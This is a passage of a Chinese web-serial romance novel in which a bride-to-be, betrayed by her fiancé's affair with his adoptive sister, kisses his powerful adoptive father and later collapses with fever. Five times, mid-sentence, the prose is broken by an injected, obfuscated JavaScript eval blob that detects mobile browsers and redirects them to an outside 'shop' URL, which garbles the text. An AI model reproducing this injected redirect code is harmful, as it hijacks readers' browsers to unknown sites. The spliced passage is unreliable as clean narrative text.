温静阳到顶层时,看到靳白已经到了。 他靠在露台的铸铁栏杆上,桃花眼懒洋洋地眯着,叼着一根没点的烟,红发烈烈。 温静阳走过去,扫了一圈四周。 没有看到靳娇娇。 有些意外。 正常情况下这种场合,靳娇娇一定会像膏药一样贴在靳白身上。 “靳娇娇呢?”她随口问了一句。 靳白将没点的烟从嘴里取下来,朝远处抬了抬下巴。 温静阳顺着他的视线看过去。 落地窗外的走廊尽头,靳娇娇正从电梯方向匆匆赶来。 她今天似乎用心打扮过,格外漂亮。 红色的吊带裙,流苏耳环。 走廊的光好像都被她吸了过去。 温静阳默默在心里感叹了一句。 难怪靳白吃窝边草吃得这么欢快。 “她昨天也是一样的装扮,收拾得很漂亮,我看到了,我让她今天穿着来了。”靳白突然开口。 温静阳偏头看向他。 靳白没有看靳娇娇。 他的桃花眼落在温静阳脸上:“人见重要的人的时候,会刻意收拾自己。” 他说得慢悠悠的,语调散漫:“这是人的本性。” 温静阳偏头:“所以她是为了你打扮的?” 靳白轻笑了一声:“谁知道呢?” 那笑声不是因为被肯定魅力而愉悦的笑。 是某种意味深长的、知道什么秘密却不打算说的笑。 他没有接这个话头,目光依旧落在温静阳身上,忽然话锋一转:“你很漂亮。” 温静阳微微歪了歪脑袋,杏眼一直看着他。 靳白继续道,声音低了一些:“每次来见我的时候,都很漂亮。” 温静阳:“?” 她的表情没变,依然甜甜软软地看着他。 她每次见他,不都是正常的日常穿搭吗? 整个谈话过程中,温静阳的视线都没有从靳白那张脸上移开过一秒。 桃花眼。高鼻梁。唇角的弧度。 如果把那道断眉遮住,这张脸和记忆深处那个人的轮廓很像很像。 “谢谢。”温静阳回了两个字,音调软软的。 靳白轻笑了一声,漂亮的桃花眼里,又是那种满意的、感受到被需要的愉悦神情。 …… 试衣间里。 温静阳被两个店员扶着穿上了婚纱。 层层叠叠的白色缎面和手工蕾丝从她的腰际倾泻而下,裙摆拖了将近两米长,领口是V字形的,无数的钻石闪烁,整个人都在发光。 店员小心翼翼地拉开了试衣间的帘子。 外面的休息区里,靳娇娇正窝在靳白的怀里,似乎在说着什么。 她的手指勾着他的衬衫领口,另一只手搭在他的大腿上。 两个人靠得极近,靳娇娇的唇几乎要碰到靳白的耳。 帘子被拉开的声音让两人同时抬了头。 靳娇娇看到婚纱里的温静阳,眼底闪过一丝说不清道不明的东西,转瞬即逝。 然后她故意在靳白的怀里挪了挪,整个人贴得更紧,嘴角勾起一个甜蜜的笑容: “嫂子穿婚纱好漂亮啊,瞧着就能卖个好价钱呢。” 卖个好价钱? 这五个字在温静阳脑海里绕了绕。 然后她甜甜笑了笑,没和她争辩。 太幼稚了。 靳白全程没有说话。 他的桃花眼从温静阳身上扫过,目光在那条V领上停了一瞬,然后移开。 他从沙发上站起来,拿起旁边挂着的配套西装走进了另一间换衣间,随手关上了门。 靳娇娇被甩在了沙发上,撅了撅嘴,但没说什么。 温静阳站在原地没有动。 婚纱的裙摆太长太重,行走不便,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234044|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她得等靳白换好出来一起拍照片留给裁缝做后续调整。 店员似乎有事,和温静阳表示歉意后,着急离开了。 屋内安静了下来。 很快,靳娇娇起身,走到温静阳凑近了些。 “嫂子真有耐心。”她压低了声音,嘴角弯弯。 然后她当着温静阳的面,往靳白的换衣间方向走去,推开门闪身进去了。 门在合上。 只留温静阳一个人站在灯光下。 过了一会。 换衣间的方向传来了声音。 很低。 极力压抑的、破碎的喘息,混着布料摩擦的窸窣声。 偶尔有一声没忍住的、甜腻的哼,被捂住了大半,只漏出一个尾音。 温静阳的睫毛动了动。 她没有转头看那个方向。 只是安静地站在原地,双手交叠在身前,乖乖巧巧的…… 等着。 那些声音断断续续不知道持续了多久。 温静阳站得腿酸了。 她抬头看向墙上。 金色花体字印着一行法语。 「Carl''amourestformelamort.」 因为爱情如死之坚强。 温静阳弯了弯眼睛。 然后低低地笑了一声。 真是讽刺呢。 身后换衣间里的动静一直没有停。 她穿着婚纱,一个人站在铺满柔光的大厅里。 钻石闪耀。 白纱曳地。 待嫁的新娘,乖巧地等着她的新郎,和新郎的妹妹偷情。 就在这时。 有脚步声从大厅入口的方向传来。 沉稳的,不疾不徐的。 皮鞋踩在大理石上,声音干净利落。 温静阳转过头。 逆光里,一个高大的男人走了进来。 身后的光勾勒出他宽阔的肩线,面容隐在阴影里,只看得清他手腕上的那串小叶紫檀念珠。 像从黑暗里走出来的神祇。 第19章 她亲吻了他的小叔 靳承野的脚步在距离温静阳大概三步远的地方停了下来。 他的目光落在温静阳身上。 从她头顶的碎发开始,到眉眼,到V领下的那块雪白,再到被白纱裹住的腰线。 他没有说话。 手指无意识地摩挲着手中的念珠。 她就站在那里。 白色的。 发光的。 穿着给别人准备的嫁衣。 乖巧安静的样子,像一个遥不可及的梦。 他做过的梦。 温静阳看到靳承野,勾起了唇:“靳先生。” 不知道是不是察觉到外面有人来了,隔壁更衣室的动静似乎安静了下来。 温静阳微微歪头,然后继续道:“您怎么来了?” 靳承野沉默了一瞬,然后继续道:“有事,来接你。” 没有事,他只是在听到“婚纱”与“温静阳”这两个词放在一起时,心中难以抑制的出现了一个念头。 他想看看。 靳承野那双凤眼依旧看着温静阳。 幽深。 沉静。 温静阳看着逆光中的男人,甜甜一笑,然后开口:“靳先生。” 她的声音在空旷的大厅里很轻很轻,像一片羽毛落在水面上。 “你可以过来一些吗?” 靳承野摩挲念珠的动作顿了顿,然后松开。 他往前迈了一步。 距离缩短到两步,不近不远。 温静阳对他弯了弯眼睛。 杏眼水润润的,笑容甜到发腻,声音更软了一度: “再近一些嘛。” 她说这句话的时候微微歪着头,语气像是在撒娇,又像是在诱哄。 靳承野眼里沉沉的墨色翻涌了一下。 他又走了一步。 两人顿时拉进了距离。 这个距离,她能闻到他身上的檀木香。 他的呼吸似乎被压抑住了,却很烫。 但他的表情依然平静。 克制。 隐忍。 和那天晚上在酒店里,她求他的时候一模一样。 温静阳抬起手,慢慢捧住了他的脸。 靳承野的呼吸似乎停了一瞬,似乎瞳孔有些缩紧。 她踮起脚。 白色的婚纱裙摆在地上铺开了一大片。 她的唇贴了上去。 很轻很轻,像蝴蝶落在花瓣上。 她在为他们的婚礼试穿婚纱,而她的未婚夫在离她不过几步的试衣间和他的妹妹偷情。 而她,在试衣间外,亲吻了未婚夫的养父。 原来偷情…… 这么刺激愉快呀。 温静阳杏眼弯了起来,可爱乖巧极了。 她的吻是柔软的、温热的。 带着她身上那种淡淡的甜味。 靳承野的身体僵住了,整个人像被钉在了原地。 他的手悬在半空中,搭在她腰侧几厘米的位置——没有碰到她。 念珠在他的指间纹丝不动。 不知过了多久,温静阳慢慢松开了手,脚跟落了回去。 她退后半步,仰头看着靳承野。 男人的凤眼里翻涌着暗潮,瞳孔深处像是有什么被点燃了,却被生生按住。 他的手终于放了下来,垂在身侧。 握成了拳。 温静阳看着他的模样,弯了弯眼睛。 杏眼亮晶晶的,笑得可爱极了。 乖巧。 无辜。 …… 靳承野垂眸看着她。 凤眼里翻涌的暗潮被一层一层地压了下去。 他的呼吸很浅,胸腔微微起伏着,幅度几乎看不出来。 但他腕上的念珠被攥得太紧,甚至能听到细微念珠互相挤压的啪嗒声。 他没有说话,也没有碰她。 只是站在那里,用一种近乎极限的克制,将自己钉在了原地。 温静阳勾唇,歪了歪头,软声开口:“靳先生?” 姑娘的语调甜得像蜜糖化在了舌尖上。 靳承野的凤眼微微眯了一下,然后他抬起手,指腹在唇上轻轻地蹭了一下。 那里还残留着她的温度。 靳承野放下了手:“温静阳,你知道你在做什么吗?” 他的声音低沉,沙哑得不像话,连喊她都是凶得连名带姓的。 上次他这么喊她,还是让她做他的女人。 “知道的,靳先生,我刚刚……”温静阳眨了眨眼,一脸无辜:“亲了你呀” 靳承野看着她顶着张天真无害的小脸,小嘴大言不惭的模样。 她那么乖,那么软,那么甜。 他还能说什么呢? 他吸了口气,和温静阳稍微拉开了一些距离。 这张脸。 六年前也是这样看着他的。 然后在他以为她会永远属于他时,她头也不回地跑了。 “咔嗒。” 换衣间的门锁转动的声音。 靳承野的神情在一瞬间恢复了惯常的冷淡。 温静阳也乖乖地转过身,面朝换衣间的方向,双手交叠在婚纱裙摆前。 规规矩矩。 端端正正。 门开了。 靳白从里面走了出来。 他换上了那套黑色的定制西装,剪裁贴合他宽肩窄腰的身形,红发被随意地往后拢了拢,露出那道断眉。 像是热烈的火焰,格外光芒耀眼。 他的衬衫领口扣得整整齐齐,袖口的扣子也一丝不苟。 看不出任何异样。 在看到靳承野时,靳白明显的露出了惊讶的神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234045|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但是一如既往的,他极快地就调整好了表情,关上更衣室的门,恭谨鞠躬:“养父。” 靳承野淡淡地扫了他一眼:“试衣服?” “是。”靳白直起身,桃花眼里的微笑恰到好处。 靳承野的视线落在了靳白身后那扇刚关上的换衣间门上。 停了一秒。 然后移开了。 靳白注意到靳承野的视线,身体微不可察地绷紧了一些,稍稍挡住了靳承野的视线。 原本想问靳承野怎么过来了的心思也被打乱了。 温静阳站在两个男人中间。 左边是她的未婚夫,刚从换衣间里和他妹妹做完不可描述的事情,此刻衣冠楚楚,温文尔雅。 右边是她未婚夫的养父,三分钟前被她亲了,此刻面无表情,佛珠在腕。 而她自己穿着婚纱,站在中间。 乖巧。 安静。 无辜得很。 怎么说呢。 挺刺激抓马的。 “裁缝说需要拍几张照片留档,方便后续修改细节。”温静阳软声开口,打破了沉默。 靳白闻言稍微松了口气,走到温静阳身边,自然而然地伸手揽住了她的腰:“好。” 他说得极其宠溺,和对靳娇娇的语气一样。 温静阳没有躲开。 她甚至配合地往靳白身边靠了靠,仰头对他甜甜一笑。 靳白低头看着她,桃花眼里漾开了柔软的笑意。 “好看。”他低声说,声音里带着情人间的磁性。 温静阳的杏眼弯成了月牙。 靳承野站在三步之外。 他看着靳白的手搭在温静阳的腰上。 那个位置。 十分钟前,是他的手差点就按上的地方。 他的凤眼沉了沉,他看向温静阳,对方注意到靳承野的视线,一脸无辜地回看他。 那个神情他很熟悉。 那个时候,她刚跟着他,她发现他在看她:“阿野刚才一直在看我。” 他说:“没有。” 她摇了摇手机:“我拍到了哦。” 得意洋洋的小猫。 …… 裁缝和助手很快过来了,开始围着两人调整婚纱的细节,拍照记录。 靳白很配合,姿态自然,桃花眼里始终带着恰到好处的温柔。 两个人站在一起,红发与黑发,西装与白纱。 画面好看得像杂志封面。 靳承野靠在休息区的沙发上,拨动着腕间的念珠。 一颗一颗。 …… 拍照结束后,靳白退回了更衣室,而工作人员要拉上温静阳外面幕帘给她换裙子时。 靳承野却从座位上起身了,慢慢向温静阳走来了。 第20章 欠债太多,还的时候就不轻松了 工作人员见状连忙退了出去。 靳承野走到了温静阳面前。 他的步子不紧不慢,但温静阳莫名的感觉有些紧张。 温静阳下意识地往后了一步,却不小心踩到裙子,身体晃了一下。 靳承野的手伸了过来,握住了她的手臂。 炙热从接触的肌肤传来,温静阳只觉得注意力完全被那道热源吸引了。 然后男人就放开了她的手臂。 “领口开得太低了。”他的语气平淡。 温静阳低头看了看自己的领口。 V字形的开口确实深了一些,但也在正常范围内。 她抬起头,杏眼弯弯地看着靳承野:“谢谢靳先生的建议,我会同裁缝说的。” 随后就听到了靳承野的下一句话:“还有两天。” 温静阳甜美的笑容一僵。 靳承野伸手,从旁边的展示架上取下了一条薄纱披肩,搭在了温静阳的肩上,挡住了她V领下的雪白。 “欠债太多,还的时候就不那么轻松了。” 他语气是那种波澜不惊的平淡。 好像只是普通的长辈顺手帮晚辈整理了一下仪容,前提是如果忽视他那句富有深意的话。 温静阳:“……” 好吧,她刚刚有些得意过头了。 靳承野轻轻理了理薄纱的边角,然后退开。 “这样好一些。” 温静阳站在原地,肩上的薄纱很轻,却很暖。 她看着靳承野退开后重新站定的位置,刚好是三步远。 和他刚进来时一样的距离。 他总是这样。 靠近,然后退开。 碰一下,然后收手。 像潮水。 涨上来,又退回去。 温静阳笑容甜美:“谢谢您,靳先生。” …… 温静阳和靳白换好衣服后,店员专业地向他们说明了后续婚纱调整的地方。 温静阳一边听着,一边看了眼试衣间。 靳娇娇已经不知道在里面待了多久了。 某种程度上来说,也挺惨了。 温静阳移开了目光。 就在这时靳承野的手机震动响了,他看了一眼,凤眼里看不出情绪。 他接起电话,侧过身,声音压得很低:"说。" 电话那头传来万凛简洁的声音。 靳承野听了片刻,然后开口:“她什么时候到的?” 说着靳承野看了一眼温静阳,温静阳眨了眨眼。 靳承野则移开了目光,拿着手机走了出去。 “沈千嫆。”温静阳身旁的靳白突然开口。 见靳承野离开了,靳白肉眼可见地放松了下来,他漫不经心地扯了扯领口:“刚才那个电话,应该说的是沈千嫆。” 靳白看向更衣室的方向,微微扬声:“养父走了。” 靳娇娇连忙推开更衣室走了出来,刚出来就扑到了靳白怀里:“憋死我了。” 她似乎也听到了刚刚靳白说的话,轻哼了一声:“沈家小姐本来和养父有婚约的,结果突然冒出来一个女人,给养父生了个孩子。” 靳娇娇撇了撇嘴,表情嫌恶:“就是靳念旸他妈。” “说白了就是个破坏别人婚姻的小三嘛,生了孩子也不知道跑哪去了,丢下个小杂种……咳,我是说丢下念念真可怜。” 小杂种…… 温静阳把这三个字在脑海里默念了一遍。 正常情况下,对于靳娇娇一些幼稚的挑衅,她一般都是懒得管的。 但是,这次,她有些生气。 温静阳突然开口:“你不也是小三?” 靳娇娇滔滔不绝的嘴巴突然像是被人掐住了一般,卡在了那里,她震惊地睁大了眼睛看着温静阳:“你刚才说什么?!” 温静阳笑容甜美,软软的语气重复了一遍:“我说,靳娇娇小姐,你是小三呢。” 靳娇娇:“温静阳你疯了?!” 不是,这个软包子怎么突然敢怼她的?!她怎么敢的?! 而且她还笑这么甜! 眼见靳娇娇那漂亮的美甲快要抓上温静阳,靳白一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234046|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱住了靳娇娇:“娇娇,养父还在外面的。” 他的声音温和宠溺,桃花眼却饶有兴致地打量着温静阳。 靳娇娇闻言,连忙捂住嘴,小心翼翼地看了一眼门口,然后瞪了温静阳一眼。 温静阳收回了目光没再理她。 周围的店员还在,她不想在这里当猴子的。 原本捧着平板的店员大气都不敢出,见温静阳看过来,连忙继续给她讲解婚纱修改的情况。 温静阳低眉听着,渐渐地开始觉得有些头重脚轻。 “温女士,那我们就按照刚刚说的,在这里加个纱……温女士!” 她的身体往一侧倒了下去。 靳白瞬间反应过来,身体本能地伸出手臂想要接她,可是却被随后反应过来的靳娇娇一把拉住了。 “哥哥!”靳娇娇的声音因为激动有些尖锐,指甲甚至都掐进了他的袖子:“她装的!肯定是装的!你别上当!” 靳白被拽得动作迟缓了一下,就是这么一下。 没人接住温静阳。 她重重地摔在了大理石地面上。 闷响。 婚纱店的工作人员反应过来吓得尖叫了一声。 几个人连忙围了上去。 “小姐!小姐您怎么了?” “快叫救护车!” “她脸好烫,是不是发烧了?” 温静阳趴在冰凉的地面上,意识像是被扔进了深水里,一点一点地往下沉。 模糊的视线里,她看到了靳白站在几步之外。 靳娇娇挂在他的手臂上,脸上满是得意:“哥哥你别管她……” 而靳白…… 他站在那里,桃花眼里有一瞬间的复杂。 但他没有走过来。 他低下头,宠溺地拍了拍靳娇娇的手背:“我不会过去的,别担心。” 反正她这么爱他,不会生他的气的。 温静阳的意识彻底沉了下去。 最后看到的画面,是远处逆光而来的高大身影。 又是你呢…… 靳承野。 第21章 责训 看到靳承野走了过来,在场的所有人立刻安静了下来。 靳承野的脚步没有停,直直向人群中心的温静阳走去。 工作人员们连忙让开了一条路。 靳承野走到温静阳面前,蹲下身,摸了摸温静阳的额头。 滚烫。 昨天温静阳淋了雨,加上今天穿着婚纱站太久了,应该是发烧了。 靳承野的凤眼沉了下去,他一言不发地将温静阳从地上抱了起来。 靳白这才反应过来,连忙松开靳娇娇,快步走了过来。 他的表情恰到好处的焦急,桃花眼里满是担忧,伸出手就要从靳承野怀里接过温静阳:“养父,我来……” 靳承野抬眼看了靳白一眼。 靳白的手顿时僵在半空中。 靳承野看他的那一眼,是冷的。 冷到骨头里的那种冷。 靳白的脚像是被钉在了地上,整个人动弹不得。 靳承野没有多看他一秒,抱着温静阳转身离开了。 脚步声渐远。 大厅里安静得只剩下工作人员们大气不敢出的呼吸声。 靳娇娇被刚才靳承野那个眼神吓得脸色惨白,整个人扑进了靳白的怀里,声音都在发抖:“哥哥……养父他……” 靳白的手搭在靳娇娇的背上,轻轻拍着,温柔安慰:“没事。” 但他的桃花眼死死地盯着靳承野离开的方向。 眼中满是阴鸷。 他的手在靳娇娇背上拍着,动作温柔,节奏却越来越慢。 养父从来没有用那种眼神看过他。 从来没有。 …… 靳承野记得那个画面。 很多年前。 他也是这样抱着她。 那时候她比现在还要瘦,轻得像一片纸,因为过量服用**,她整个人的呼吸很轻,几乎要感觉不到。 她那双从来都是甜美的杏眼看着他,眼中满是浓烈的恨意。 她嘴唇动了动,声音沙哑得几乎听不清。 但他听清了。 每一个字都听清了 她说:“靳承野。” “你怎么不**啊。” …… 万生私立医院。 VIP病房。 温静阳躺在病床上,输液管里退烧药一滴一滴地往下落。 靳白坐在床边,看着床上的女孩。 她的脸很小,有些白,安静地躺在那里,曾经那双满是他的漂亮眸子,如今紧紧闭着。 靳白一直都觉得温静阳很漂亮,如今病了,多了几分易碎感。 靳白沉默了一会,然后伸手帮温静阳掖了掖被角。 刚刚养父的反应太大了。 为了一个儿媳妇。 他伸手试了试温静阳的额头,烧已经退下去了。 靳娇娇一直跟在靳白身边,看靳白这么照顾温静阳,心里一时间有些不爽。 她直接凑近,丝毫不在意躺在床上的是她的嫂子,就这么坐到了靳白腿上,搂着靳白撒娇:“哥哥,我饿了。” “你陪我去楼下买个蛋糕嘛,就一小会。” “反正这里有护士,没事的。” 靳白的目光在温静阳和靳娇娇之间扫了一下。 温静阳还在昏睡,输液袋里的液体还有大半袋。 应该没什么问题。 “好。”他带着靳娇娇起身,宠溺地揉了揉靳娇娇的头发,“我带你去卖。” 靳娇娇得意地哼了一声,挽着靳白的手臂往外走。 经过病床的时候,她故意放慢了脚步,低头看了一眼昏迷中的温静阳。 嘴角勾起一个小小的弧度,然后跟着靳白出了门。 病房的门合上了。 输液管还在低落着药水。 滴。 滴。 滴。 …… 另一边,靳承野在听完医嘱后,拿着报告往病房走。 万凛站在一旁,低声回复:“沈千嫆小姐回国是为了参加这次的慈善晚宴,她刚刚又打电话来了,我已经跟她说了,您有事,没法去接她。” 靳承野点了点头,然后推开了病房的门。 推开门的瞬间,靳承野的脚步停了。 病房里空荡荡的,只有还在昏迷的温静阳一人。 输液袋已经空了,温静阳血液正沿着输液管往回倒流。 已经回流了好长一段了。 靳承野立刻大步走到床边,一只手按住了输液管的止流夹,另一只手按下了床头的呼叫铃。 他的动作很快,很稳。 但按呼叫铃的那只手,很用力。 靳承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234047|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野低下头,看着她苍白的小脸。 她的眉头皱着,像是在做什么不好的梦。 护士推门跑了进来,看到回血的输液管,脸色一变,连忙上前处理。 靳承野退后一步,站在旁边给护士腾出空间。 他的表情从头到尾都没有变化,只是那双凤眸愈发的幽深了。 护士处理完后,小心翼翼地退了出去。 靳承野在床边坐了下来。 他伸出手,小心地将温静阳露在被子外面的手臂放回被子里。 动作很轻,像是在触碰一件易碎的瓷器。 …… 走廊里传来了脚步声和说话声。 靳白和靳娇娇回来了。 靳娇娇的声音老远就传了过来,带着抱怨:“蛋糕居然卖完了,我都说了让你开快一点嘛。” 靳白叼着没点的烟,桃花眼半阖着,懒洋洋地听她抱怨。 本来以为靳娇娇说的楼下是指医院附近,谁想到是好几公里外,也不知道温静阳现在点滴输完没,不过有护士看着,应该没什么事。 靳娇娇还在絮叨:“那家店的栗子蒙布朗可是限量的,每天就那么几个……” 她的声音戛然而止。 因为走廊的尽头,站着一个人。 靳承野手插兜靠在走廊拐角的墙边。 走廊的白炽灯光打在他身上,将他高大的身影投射在地面上,拉得很长。 万凛站在他身后三步远的位置,安静、沉默、厚重。 靳娇娇的脸瞬间白了,挽着靳白的手不自觉地松开了。 靳白的脚步也慢了下来,取下了烟。 靳承野的凤眼落在了靳白身上。 那个眼神。 他看出了养父眼中的意思。 是在看一件不合格的器具,考虑要不要丢掉。 靳白这辈子跪在靳承野面前求过一次活路,从那以后,他再也没有在任何人面前露出过怯意。 但此刻,他的脊背不受控制地绷紧了。 “养父。”他微微躬身,声音恭谨,还有些颤抖。 靳承野平淡开口:“跟我来。” 三个字。 靳白的喉结滚动了一下,快步跟了上去。 靳娇娇站在原地,看着两人离去的背影,心里满是后怕。 第22章 靳先生,我同意你的提议 万生医院VIP停车区。 普通车辆都被拦在外面的停车场,这里很少有人来。 靳承野的脚步停了下来。 跟在他身后的靳白愣了愣,也跟着停下脚步,他刚想开口:“养父……” 然后,一阵风声传来。 万凛的脚猛地踹在靳白的膝弯上。 靳白不受控制,整个人跪了下去,膝盖撞上水泥地面,发出沉闷的一声响。 膝盖传来的剧痛让他的眉头狠狠皱了一下,但他咬着牙,没有发出任何声音,也不敢挣扎。 万凛收回脚,退回靳承野身后,面无表情。 靳白跪在冰冷的水泥地上,抬起头,桃花眼看向靳承野。 靳承野低眸看着跪在面前的养子。 他的表情没有任何变化,甚至称得上平静。 但正是这种平静,比任何暴怒都更让人胆寒。 “靳白。” 他开口了,声音低沉,在空旷的停车场里回荡着。 “温静阳是你的未婚妻。” 靳白的身体微微一僵。 靳承野继续道,语速不快不慢:“她代表的是靳温两家的联姻。” “不是你在外面那些乱七八糟的女人。” 靳白垂在身侧的手下意识地握紧了。 靳承野看着靳白:“输液回血长期不处理你知道意味着什么吗?” “两次了,别再让我看到第三次。” 靳白跪着,头低了下去,没说什么。 这一脚是他该受的。 他走的时候输液袋还有大半袋,他以为没什么问题。 靳承野看了他一会,然后收回了目光: “北区的码头。” 靳白一愣。 靳承野的声音平淡:“你去盯。” 上一个被派去盯场的靳家人,是被人从码头的集装箱里抬出来的。 断了三根肋骨,在ICU躺了两个月。 靳承野现在要把他扔到那个地方去。 靳白的指甲掐进了掌心里,但他的脸上什么都没有表现出来。 他低下头,声音恭谨得无可挑剔:“是。” 靳承野看了他最后一眼,然后转身离开了。 停车场里重新安静下来。 靳白独自跪在那里。 他慢慢站起身。 西装裤蹭到了灰,他低头看了一眼,没有拍。 桃花眼里的恭谨一点一点地褪去,露出底下那层阴鸷的沉沉暗色。 他想起了很多年前,他跪在靳承野面前,求他给自己一条活路的那个夜晚。 那时候他什么都没有。 现在他有了很多。 但他依然在跪。 靳白攥了攥拳头,然后松开了。 …… 病房。 靳承野推开门后,动作停了下来。 温静阳不知道什么时候醒了,她正扶着病床的栏杆,摇摇晃晃地往病房茶几的方向挪。 她的小脸白得几乎透明,病号服宽宽松松地挂在身上,整个人看着虚飘飘的,像一阵风就能吹倒。 靳承野看了眼茶几,那里放着一杯水。 就在温静阳的手指刚碰到杯子的边缘,身后传来了脚步声。 然后她整个人腾空了。 是靳承野直接把她抱了起来。 檀木的香气将她整个人包裹住。 温静阳下意识地攥住了最近的东西,是男人胸口的衬衫布料。 她仰着头,杏眼对上了男人垂下来的凤眸。 “我帮你。”靳承野淡淡说了一句,然后把温静阳放回了床上。 他的手从她膝弯下抽出来的时候,指尖似乎不小心蹭到了她小腿的皮肤。 温静阳缩了缩腿。 靳承野帮她把被子盖好来,然后转身去拿那杯水。 他碰了碰水杯,凉了,随后把水倒掉,从旁边的保温壶里重新倒了一杯温水,递到温静阳面前。 温静阳乖乖接过,双手捧着杯子,小口小口地喝。 好奇怪,这靳家家主怎么照顾人来,这么熟练? 靳承野在床边坐了下来。 他看着温静阳喝水的样子,凤眼里的冷意慢慢散了一些。 温静阳喝完水,把杯子放到床头柜上,然后抬起头,杏眼弯弯地看着靳承野:“靳先生。” “嗯。” “你在婚纱店说有事来接我。”她歪了歪头,语调软软的,“是什么事呀?” 调是软的,眼里全是试探。 靳承野看着温静阳那张因为生病而愈发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234048|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍白柔软的小脸。 什么事? 没有事。 他只是想看看。 沉默拉长了几秒。 过了一会靳承野才开口:"过几天有一场京港市官方举办的慈善晚宴。" 温静阳眨了眨眼。 “靳家每年都会出席。”他的声音恢复了惯常的平淡,“你作为靳白的未婚妻,需要到场。” 温静阳白白细细的手指揪着被子的边缘乖乖听着,点了点头:“好。” 靳承野见她没追问,微微绷着的身子稍微放松了一些。 然后就看到温静阳伸出手,一把勾住了他的领带。 她的指尖顺着领带往下滑。 靳承野的身体没有动,但呼吸似乎停了一拍。 温静阳仰着头,杏眼水润润地看着他。 病号服的领口因为动作歪了,露出一小片雪白。 靳承野的目光不自觉地落到那里,随后听到眼前女孩甜软的声音:“靳先生。” “上次你说的那个提议。” 靳承野安静看着温静阳,凤眼似乎有什么翻滚了一下。 温静阳勾着他领带的手指收紧了一点,将他往自己的方向拉近了几分。 “我同意了哦。” 她说这句话的时候,语调上扬,尾音带着个软软的小钩子。 一如既往的乖巧甜美。 靳承野垂眸看着她勾着自己领带的手指。 那只手很小,指节纤细,指甲修剪得圆圆的,干干净净的。 就是这只手,刚才勾住了他。 也是这只手,六年前推开了他。 他伸出手,覆上了她的手背。 掌心的温度透过皮肤传递过去,她的手指微微颤了一下,但没有缩回去。 靳承野的拇指在她的手背上轻轻摩挲了一下。 只一下。 然后他将她的手从领带上拿开,放回了被子上。 “好好休息。”他的声音平稳。 温静阳撇了撇嘴。 紧接着是男人的声音:“我知道了。”带着些他自己都没有察觉的宠溺。 闻言温静阳笑了,像只偷到腥的小猫。 靳承野站起身,理了理被她扯歪的领带。 “我去办出院手续。” 第23章 哥哥 温静阳看着靳承野离开。 从靳承野告诉她他手里握着温屿深那件事的证据开始,她就在权衡。 温家的威胁是悬在她头上的刀。 而靳承野,是另一把刀。 一把她可以利用的刀。 至于代价…… 温静阳摸了摸自己的嘴唇。 还好吧。 反正也不亏。 她正想着,手机震动了一下。 温静阳从枕头底下摸出手机,点亮屏幕。 一条短信。 发送人的名字让她的手指僵住了。 【温屿深】 她盯着那两个字看了三秒,才点开了短信。 【阳阳,哥哥来京港了。】 【想你了,出来见见哥哥好不好?】 短信的语气温温柔柔的,像是一个关心妹妹的好哥哥。 但温静阳的后背起了一层鸡皮疙瘩。 她的手指在屏幕上停了很久。 然后她打了四个字。 【不想见你。】 发送。 手机安静了几秒又震动了。 【没关系。】 【哥哥会找到你的。】 温静阳盯着那行字。 病房里很温暖,但她觉得冷。 从脊椎骨一直冷到指尖。 她把手机翻了个面,屏幕朝下扣在被子上。 然后拉紧了被子,把自己裹成了一个小小的团。 …… 靳白刚出车库时,就看到靳娇娇在等着。 